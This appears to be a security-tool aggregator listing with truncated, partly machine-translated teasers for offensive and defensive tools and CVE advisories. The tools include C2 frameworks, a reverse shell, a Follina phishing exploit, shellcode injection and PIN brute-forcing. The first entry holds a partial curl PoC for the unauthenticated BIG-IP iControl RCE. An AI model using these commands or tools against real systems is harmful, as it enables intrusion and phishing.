CVE-2021-22986-Poc

CVE-2021-22986-Poc Este é um Poc para BIGIP iControl RCE não autenticado POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

gau

getallurls gau getallurls gau fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, Common Crawl, and URLScan for any given domain. Inspired by Tomnomnom's waybackurls. Resources Usage Installation ohmyzsh note Usage: Examples: root@kitploit: $ printf example.com | gau $...

CVE-2026-82082 Green-Computing｜NUMail - OS Command Injection

NUMail developed by Green-Computing has an OS Command Injection vulnerability. Unauthenticated remote attackers can inject arbitrary OS commands and execute them on the server...

EUVD-2026-67401

NUMail developed by Green-Computing has an OS Command Injection vulnerability. Unauthenticated remote attackers can inject arbitrary OS commands and execute them on the server...

CVE-2026-82082

NUMail by Green-Computing is affected by an OS Command Injection vulnerability that allows unauthenticated remote attackers to inject and execute arbitrary OS commands on the server. The vulnerability is rated CVSS 3.1: 9.8 (CRITICAL) with a network attack vector, low complexity, and no privilege...

Rubeus

Rubeus Rubeus é um conjunto de ferramentas C para interação bruta com Kerberos e abusos. É fortemente adaptado do projeto Kekeo de Benjamin Delpy licença CC BY-NC-SA 4.0 e do projeto MakeMeEnterpriseAdmin de Vincent LE TOUX licença GPL v3.0. Todo o crédito vai para Benjamin e Vincent por resolver...

CVE-2022-26134

Confluence में OGNL इंजेक्शन के माध्यम से प्री-प्रमाणीकरण रिमोट कोड निष्पादन CVE-2022-26134 Confluence में OGNL इंजेक्शन के माध्यम से प्री-प्रमाणीकरण रिमोट कोड निष्पादन CVE-2022-26134 2 जून, 2022 को Atlassian ने अपने Confluence Server और Data Center अनुप्रयोगों के लिए एक सुरक्षा सलाहकार जारी किया...

unicorn

unicorn Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David...

atomic-operator

license atomic-operator This python package is used to execute Atomic Red Team tests Atomics across multiple operating system environments. What's new? Why? atomic-operator enables security professionals to test their detection and defensive capabilities against prescribed techniques defined with...

marfil

Marfil Marfil is an extension of the Aircrack-ng suite, used to assess WiFi network security. It allows to split the work of performing long running dictionary attacks among many computers. Motivation The Aircrack-ng suite provides the aircrack-ng tool, which is a 802.11 WEP and WPA/WPA2-PSK key...

emba

EMBA The security analyzer for firmware of embedded devices EMBA is designed as the central firmware analysis and SBOM tool for penetration testers, product security teams, developers and responsible product managers. It supports the complete security analysis process starting with firmware...

objection

📱objection - Runtime Mobile Exploration objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. Supports both iOS and Android. Inspect and interact with container file systems...

CVE-2022-30190-follina-Office-MSDT-Fixed

'Follina' MS-MSDT n-day Microsoft Office RCE — نسخة معدّلة هذا المشروع مستند إلى https://github.com/chvancooten/follina.py مع تعديلات، حيث يمكن تخصيص ملف قالب docx محدد، وهو مناسب للاستخدام في التصيّد Phishing العملي. بعد تحرير مستند Word للتصيّد بنفسك، حدّده عبر المعامل -f. Usage: root@kitploit:...

BlackMamba

BlackMamba Comando e Controle O que é BlackMamba? Black Mamba é um Command and Control C2 que funciona com múltiplas conexões ao mesmo tempo. Foi desenvolvido com Python e com Qt Framework e possui múltiplas funcionalidades para uma etapa de pós-exploração. Algumas Funcionalidades Múltiplos...

subfinder

Fast passive subdomain enumeration tool. Features • Install • Usage • API Setup • Library • Join Discord subfinder is a subdomain discovery tool that returns valid subdomains for websites, using passive online sources. It has a simple, modular architecture and is optimized for speed. subfinder is...

CVE-2025-32463

Fortemente influenciado/copiado/baseado no formato de um repositório similar por pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\chwoot.git Esta é uma reimplementação em C para entrega, execução e limpeza rápidas a partir de uma única fonte. CVE-2025-32463 – PoC do sudo chroot 'chwoot'...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

nextploiter

nextploiter ================= أداة استغلال لـ NextJS الاستخدام الأوامر الاستخدام root@kitploit: $ npm install -g nextploiter $ nextploiter COMMAND running command... $ nextploiter --version nextploiter/1.0.0 darwin-arm64 node-v24.12.0 $ nextploiter --help COMMAND USAGE $ nextploiter COMMAND...

Android-PIN-Bruteforce

🔓📱 Android-PIN-Bruteforce Desbloqueie um telefone Android ou dispositivo fazendo bruteforce no PIN da tela de bloqueio. Transforme seu telefone Kali Nethunter em um cracker de PIN por bruteforce para dispositivos Android! 📱 Como funciona Ele usa um cabo USB OTG para conectar o telefone bloqueado ...

abaddon

Abaddon Red team operations involve miscellaneous skills, last several months and are politically sensitive; they require a lot of monitoring, consolidating and caution. Wavestone’s red team operations management software, Abaddon, has been designed to make red team operations faster, more...